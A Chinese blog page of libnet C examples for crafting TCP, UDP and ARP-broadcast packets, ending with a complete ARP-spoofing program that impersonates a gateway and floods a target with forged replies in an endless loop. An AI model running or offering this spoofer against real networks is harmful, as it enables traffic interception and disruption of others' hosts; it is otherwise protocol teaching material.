libnet发包例子(tcp udp arp广播)

  1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle; /* Libnet句柄 */
  4. int packet_size; /* 构造的数据包大小 */
  5. char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  7. char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  8. u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  9. u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  10. u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
  11. char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  12. libnet_ptag_t eth_tag, ip_tag, tcp_tag, tcp_op_tag; /* 各层build函数返回值 */
  13. u_short proto = IPPROTO_TCP; /* 传输层协议 */
  14. u_char payload[255] = {0}; /* 承载数据的数组，初值为空 */
  15. u_long payload_s = 0; /* 承载数据的长度，初值为0 */
  16. /* 把目的IP地址字符串转化成网络序 */
  17. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  18. /* 把源IP地址字符串转化成网络序 */
  19. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  20. /* 初始化Libnet */
  21. if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  22. printf("libnet_init failure\n");
  23. return (-1);
  24. };
  25. strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
  26. payload_s = strlen(payload); /* 计算负载内容的长度 */
  27. #if 0
  28. /* 构建TCP的选项,通常在第一个TCP通信报文中设置MSS */
  29. tcp_op_tag = libnet_build_tcp_options(
  30. payload,
  31. payload_s,
  32. handle,
  33. 0
  34. );
  35. if (tcp_op_tag == -1) {
  36. printf("build_tcp_options failure\n");
  37. return (-2);
  38. };
  39. #endif
  40. tcp_tag = libnet_build_tcp(
  41. 30330,                    /* 源端口 */
  42. 30331,                    /* 目的端口 */
  43. 8888,                    /* 序列号 */
  44. 8889,                    /* 确认号 */
  45. TH_PUSH | TH_ACK,        /* Control flags */
  46. 14600,                    /* 窗口尺寸 */
  47. 0,                        /* 校验和,0为自动计算 */
  48. 0,                        /* 紧急指针 */
  49. LIBNET_TCP_H + payload_s, /* 长度 */
  50. payload,                    /* 负载内容 */
  51. payload_s,                /* 负载内容长度 */
  52. handle,                    /* libnet句柄 */
  53. 0                        /* 新建包 */
  54. );
  55. if (tcp_tag == -1) {
  56. printf("libnet_build_tcp failure\n");
  57. return (-3);
  58. };
  59. /* 构造IP协议块，返回值是新生成的IP协议快的一个标记 */
  60. ip_tag = libnet_build_ipv4(
  61. LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* IP协议块的总长,*/
  62. 0, /* tos */
  63. (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
  64. 0, /* frag 片偏移 */
  65. (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
  66. proto, /* 上层协议 */
  67. 0, /* 校验和，此时为0，表示由Libnet自动计算 */
  68. src_ip, /* 源IP地址,网络序 */
  69. dst_ip, /* 目标IP地址,网络序 */
  70. NULL, /* 负载内容或为NULL */
  71. 0, /* 负载内容的大小*/
  72. handle, /* Libnet句柄 */
  73. 0 /* 协议块标记可修改或创建,0表示构造一个新的*/
  74. );
  75. if (ip_tag == -1) {
  76. printf("libnet_build_ipv4 failure\n");
  77. return (-4);
  78. };
  79. /* 构造一个以太网协议块,只能用于LIBNET_LINK */
  80. eth_tag = libnet_build_ethernet(
  81. dst_mac, /* 以太网目的地址 */
  82. src_mac, /* 以太网源地址 */
  83. ETHERTYPE_IP, /* 以太网上层协议类型，此时为IP类型 */
  84. NULL, /* 负载，这里为空 */
  85. 0, /* 负载大小 */
  86. handle, /* Libnet句柄 */
  87. 0 /* 协议块标记，0表示构造一个新的 */
  88. );
  89. if (eth_tag == -1) {
  90. printf("libnet_build_ethernet failure\n");
  91. return (-5);
  92. };
  93. packet_size = libnet_write(handle); /* 发送已经构造的数据包*/
  94. libnet_destroy(handle); /* 释放句柄 */
  95. return (0);
  96. }

UDP:

  1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle; /* Libnet句柄 */
  4. int packet_size; /* 构造的数据包大小 */
  5. char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  7. char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  8. u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  9. u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  10. u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
  11. char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  12. libnet_ptag_t eth_tag, ip_tag, udp_tag; /* 各层build函数返回值 */
  13. u_short proto = IPPROTO_UDP; /* 传输层协议 */
  14. u_char payload[255] = {0}; /* 承载数据的数组，初值为空 */
  15. u_long payload_s = 0; /* 承载数据的长度，初值为0 */
  16. /* 把目的IP地址字符串转化成网络序 */
  17. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  18. /* 把源IP地址字符串转化成网络序 */
  19. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  20. /* 初始化Libnet */
  21. if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  22. printf("libnet_init failure\n");
  23. return (-1);
  24. };
  25. strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
  26. payload_s = strlen(payload); /* 计算负载内容的长度 */
  27. udp_tag = libnet_build_udp(
  28. 30330, /* 源端口 */
  29. 30331, /* 目的端口 */
  30. LIBNET_UDP_H + payload_s, /* 长度 */
  31. 0, /* 校验和,0为libnet自动计算 */
  32. payload, /* 负载内容 */
  33. payload_s, /* 负载内容长度 */
  34. handle, /* libnet句柄 */
  35. 0 /* 新建包 */
  36. );
  37. if (udp_tag == -1) {
  38. printf("libnet_build_tcp failure\n");
  39. return (-3);
  40. };
  41. /* 构造IP协议块，返回值是新生成的IP协议快的一个标记 */
  42. ip_tag = libnet_build_ipv4(
  43. LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* IP协议块的总长,*/
  44. 0, /* tos */
  45. (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
  46. 0, /* frag 片偏移 */
  47. (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
  48. proto, /* 上层协议 */
  49. 0, /* 校验和，此时为0，表示由Libnet自动计算 */
  50. src_ip, /* 源IP地址,网络序 */
  51. dst_ip, /* 目标IP地址,网络序 */
  52. NULL, /* 负载内容或为NULL */
  53. 0, /* 负载内容的大小*/
  54. handle, /* Libnet句柄 */
  55. 0 /* 协议块标记可修改或创建,0表示构造一个新的*/
  56. );
  57. if (ip_tag == -1) {
  58. printf("libnet_build_ipv4 failure\n");
  59. return (-4);
  60. };
  61. /* 构造一个以太网协议块,只能用于LIBNET_LINK */
  62. eth_tag = libnet_build_ethernet(
  63. dst_mac, /* 以太网目的地址 */
  64. src_mac, /* 以太网源地址 */
  65. ETHERTYPE_IP, /* 以太网上层协议类型，此时为IP类型 */
  66. NULL, /* 负载，这里为空 */
  67. 0, /* 负载大小 */
  68. handle, /* Libnet句柄 */
  69. 0 /* 协议块标记，0表示构造一个新的 */
  70. );
  71. if (eth_tag == -1) {
  72. printf("libnet_build_ethernet failure\n");
  73. return (-5);
  74. };
  75. packet_size = libnet_write(handle); /* 发送已经构造的数据包*/
  76. libnet_destroy(handle); /* 释放句柄 */
  77. return (0);
  78. }

ARP广播包:

  1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle;        /* Libnet句柄 */
  4. int packet_size;
  5. char *device = "eth0";   /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. u_int8_t *src_ip_str = "192.168.128.200";       /* 源IP地址字符串 */
  7. u_int8_t *dst_ip_str = "192.168.128.88";        /* 目的IP地址字符串 */
  8. u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x86};/* 源MAC */
  9. u_int8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};/* 目的MAC,广播地址 */
  10. /* 接收方MAC,ARP请求目的就是要询问对方MAC,所以这里填写0 */
  11. u_int8_t rev_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
  12. u_int32_t dst_ip, src_ip;              /* 网路序的目的IP和源IP */
  13. char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  14. libnet_ptag_t arp_proto_tag, eth_proto_tag;
  15. /* 把目的IP地址字符串转化成网络序 */
  16. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  17. /* 把源IP地址字符串转化成网络序 */
  18. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  19. if ( dst_ip == -1 || src_ip == -1 ) {
  20. printf("ip address convert error\n");
  21. exit(-1);
  22. };
  23. /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  24. if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  25. printf("libnet_init: error [%s]\n", error);
  26. exit(-2);
  27. };
  28. /* 构造arp协议块 */
  29. arp_proto_tag = libnet_build_arp(
  30. ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  31. ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  32. 6,                   /* 硬件地址长度 */
  33. 4,                   /* IP地址长度 */
  34. ARPOP_REQUEST,       /* 操作方式:ARP请求 */
  35. src_mac,             /* source MAC addr */
  36. (u_int8_t *)&src_ip, /* src proto addr */
  37. rev_mac,             /* dst MAC addr */
  38. (u_int8_t *)&dst_ip, /* dst IP addr */
  39. NULL,                /* no payload */
  40. 0,                   /* payload length */
  41. handle,              /* libnet tag */
  42. 0                    /* Create new one */
  43. );
  44. if (arp_proto_tag == -1)    {
  45. printf("build IP failure\n");
  46. exit(-3);
  47. };
  48. /* 构造一个以太网协议块
  49. You should only use this function when
  50. libnet is initialized with the LIBNET_LINK interface.*/
  51. eth_proto_tag = libnet_build_ethernet(
  52. dst_mac,         /* 以太网目的地址 */
  53. src_mac,         /* 以太网源地址 */
  54. ETHERTYPE_ARP,   /* 以太网上层协议类型，此时为ARP请求 */
  55. NULL,            /* 负载，这里为空 */
  56. 0,               /* 负载大小 */
  57. handle,          /* Libnet句柄 */
  58. 0                /* 协议块标记，0表示构造一个新的 */
  59. );
  60. if (eth_proto_tag == -1) {
  61. printf("build eth_header failure\n");
  62. return (-4);
  63. };
  64. packet_size = libnet_write(handle);    /* 发送已经构造的数据包*/
  65. libnet_destroy(handle);                /* 释放句柄 */
  66. return (0);
  67. }

arp应答包(arp欺骗)

  1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle;        /* Libnet句柄 */
  4. int packet_size;
  5. char *device = "eth0";    /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. u_int8_t *src_ip_str = "192.168.2.30";        /* 冒充的网关IP */
  7. u_int8_t *dst_ip_str = "192.168.2.170";        /* 干扰的目标IP */
  8. u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x11};/* 虚假的源MAC */
  9. u_int8_t dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c};/* 干扰的目标MAC */
  10. u_int32_t dst_ip, src_ip;                /* 网路序的目的IP和源IP */
  11. char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  12. libnet_ptag_t arp_proto_tag, eth_proto_tag;
  13. /* 把目的IP地址字符串转化成网络序 */
  14. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  15. /* 把源IP地址字符串转化成网络序 */
  16. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  17. if ( dst_ip == -1 || src_ip == -1 ) {
  18. printf("ip address convert error\n");
  19. exit(-1);
  20. };
  21. /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  22. if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  23. printf("libnet_init: error [%s]\n", error);
  24. exit(-2);
  25. };
  26. /* 构造arp协议块 */
  27. arp_proto_tag = libnet_build_arp(
  28. ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  29. ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  30. 6,                    /* 硬件地址长度 */
  31. 4,                    /* IP地址长度 */
  32. ARPOP_REPLY,        /* 操作方式:ARP请求 */
  33. src_mac,                /* source MAC addr */
  34. (u_int8_t *)&src_ip,    /* src proto addr */
  35. dst_mac,                /* dst MAC addr */
  36. (u_int8_t *)&dst_ip,    /* dst IP addr */
  37. NULL,                /* no payload */
  38. 0,                    /* payload length */
  39. handle,                /* libnet tag */
  40. 0                    /* Create new one */
  41. );
  42. if (arp_proto_tag == -1)    {
  43. printf("build IP failure\n");
  44. exit(-3);
  45. };
  46. /* 构造一个以太网协议块
  47. You should only use this function when
  48. libnet is initialized with the LIBNET_LINK interface.*/
  49. eth_proto_tag = libnet_build_ethernet(
  50. dst_mac,            /* 以太网目的地址 */
  51. src_mac,            /* 以太网源地址 */
  52. ETHERTYPE_ARP,    /* 以太网上层协议类型，此时为ARP请求 */
  53. NULL,            /* 负载，这里为空 */
  54. 0,                /* 负载大小 */
  55. handle,            /* Libnet句柄 */
  56. 0                /* 协议块标记，0表示构造一个新的 */
  57. );
  58. if (eth_proto_tag == -1)    {
  59. printf("build eth_header failure\n");
  60. return (-4);
  61. };
  62. while(1) {
  63. packet_size = libnet_write(handle);        /* 死循环发送arp欺骗广播 */
  64. usleep(1000);
  65. };
  66. libnet_destroy(handle);                /* 释放句柄 */
  67. return (0);
  68. }
  69. from：http://blog.chinaunix.net/uid-10540984-id-3245098.html
时间： 2024-11-05 15:00:12

libnet发包例子(tcp udp arp广播)的相关文章

HTTP,FTP,TCP,UDP及SOCKET

一.TCP/IP协议简析TCP/IP是个协议组,可分为三个层次:网络层.传输层和应用层:网络层:IP协议.ICMP协议.ARP协议.RARP协议和BOOTP协议传输层:TCP协议与UDP协议应用层:FTP.HTTP.TELNET.SMTP.DNS等协议 HTTP是应用层协议,其传输都是被包装成TCP协议传输.可以用SOCKET实现HTTP.SOCKET是实现传输层协议的一种编程API,可以是TCP,也可以是UDP. 二.Socket连接与HTTP连接区别[Socket]由于通常情况下Socket

uip UDP 服务器广播模式(客户端可以任意端口,并且主动向客户端发送数据)

目前移植uip,发现UDP 服务器模式下,必须指定本地端口以及客户端端口,否则只能讲客户端端口设置为0,才能接收任意端口的数据,但是无法发送数据,因为此时客户端端口设置为0了,我通过将原始数据包中的客户端端口保存下来,并且在发送的时候将客户端端口替换为指定的端口,发送完成之后又设置为0,这样就实现了向任意客户端端口发送数据. uip.c if(uip_udp_conn->lport != 0 && UDPBUF->destport == uip_udp_conn->lpo

TCP/UDP简介

TCP/UDP简介 Socket小白篇-附加TCP/UDP简介 Socket 网络通信的要素 TCP和UDP Socket的通信流程图 1.Socket 什么是Socket Socket:又称作是套接字,网络上的两个程序通过一个双向的通信连接实现数据的交换,这个连接的一端称为Socket. Socket是对TCP/IP的协议的封装,Socket本身并不是协议,而是一个调用的接口,只有通过Socket我们才能使用TCP/IP. Socket是和网络紧密相关的,网络上的两个程序一般就是指web服务器

SOCKET, TCP/UDP, HTTP, FTP 浅析

SOCKET, TCP/UDP, HTTP, FTP (一)TCP/UDP,SOCKET,HTTP,FTP简析 TCP/IP是个协议组,可分为三个层次:网络层.传输层和应用层: 网络层:IP协议.ICMP协议.ARP协议.RARP协议和BOOTP协议 传输层:TCP协议与UDP协议 应用层:FTP.HTTP.TELNET.SMTP.DNS等协议   HTTP是应用层协议,其传输都是被包装成TCP协议传输.可以用SOCKET实现HTTP. SOCKET是实现传输层协议的一种编程API,可以是TCP

高性能 TCP &amp; UDP 通信框架 HP-Socket v3.3.1 正式发布

HP-Socket 是一套通用的高性能 TCP/UDP 通信框架,包含服务端组件.客户端组件和 Agent 组件,广泛适用于各种不同应用场景的 TCP/UDP 通信系统,提供 C/C++.C#.Delphi.E(易语言).Java.Python 等编程语言接口.HP-Socket 对通信层实现完全封装,应用程序不必关注通信层的任何细节:HP-Socket 提供基于事件通知模型的 API 接口,能非常简单高效地整合到新旧应用程序中. 为了让使用者能方便快速地学习和使用 HP-Socket,迅速掌握

[网络] SOCKET， TCP/UDP, HTTP, FTP

(一)TCP/UDP,SOCKET,HTTP,FTP简析 TCP/IP是个协议组,可分为三个层次:网络层.传输层和应用层: 网络层:IP协议.ICMP协议.ARP协议.RARP协议和BOOTP协议 传输层:TCP协议与UDP协议 应用层:FTP.HTTP.TELNET.SMTP.DNS等协议 HTTP是应用层协议,其传输都是被包装成TCP协议传输.能够用SOCKET实现HTTP. SOCKET是实现传输层协议的一种编程API,能够是TCP.也能够是UDP. (二)Socket连接与HTTP连接差

uip UDP server广播模式(client能够随意port,而且主动向client发送数据)

眼下移植uip,发现UDP server模式下,必须指定本地port以及clientport,否则仅仅能讲clientport设置为0,才干接收随意port的数据,可是无法发送数据,由于此时clientport设置为0了,我通过将原始数据包中的clientport保存下来,而且在发送的时候将clientport替换为指定的port,发送完毕之后又设置为0,这样就实现了向随意clientport发送数据. uip.c if(uip_udp_conn->lport != 0 && UDP

用udp实现广播通信

特点: 1.数据传输不用建立连接,所以不可靠(符合udp协议的特点) 2.数据的发送是面向整个子网的,任何一台在子网内的计算机都可以接收到相同的数据: 3.广播用于udp和原始IP,不能用于TCP 用途: 1.定位本地子网内的主机 前提是已知该主机位于本地子网,但是不知到他的单播地址.例如通过广播向所有子网内的主机的某端口发送数据报,如果主机有进程在该端口等待接收数据并回射数据,那么在recvfrom中会得到该主机的单播地址 2.减少分组流通 例如,多个客户主机与一个服务器主机通信的局域网中,广

网络基本概念之TCP, UDP, 单播（Unicast）, 组播（Multicast）

这篇文章相当低级,但相当重要! 我们周围一切几乎都依赖于把事情抽象成低等级,并在某一点把它具体化,在一些设计概念中,接口层十分清晰并且目标很集中,应用程序不用考虑操作系统如何工作,操作系统也不用考虑硬件如何工作,OSI模型的第4层不需要考虑第三层如何工作.所以我们只需要集中精力在某一层,就当下面的层正常工作,但这样能行吗?如果你写一个应用,你最好知道OS是怎么样工作的,并且要考虑数据库如何存储字符的,同样,一个好的操作系统必需要了解硬件是如何工作的.如果你认为TCP不需要考虑IP的实现那就搞错了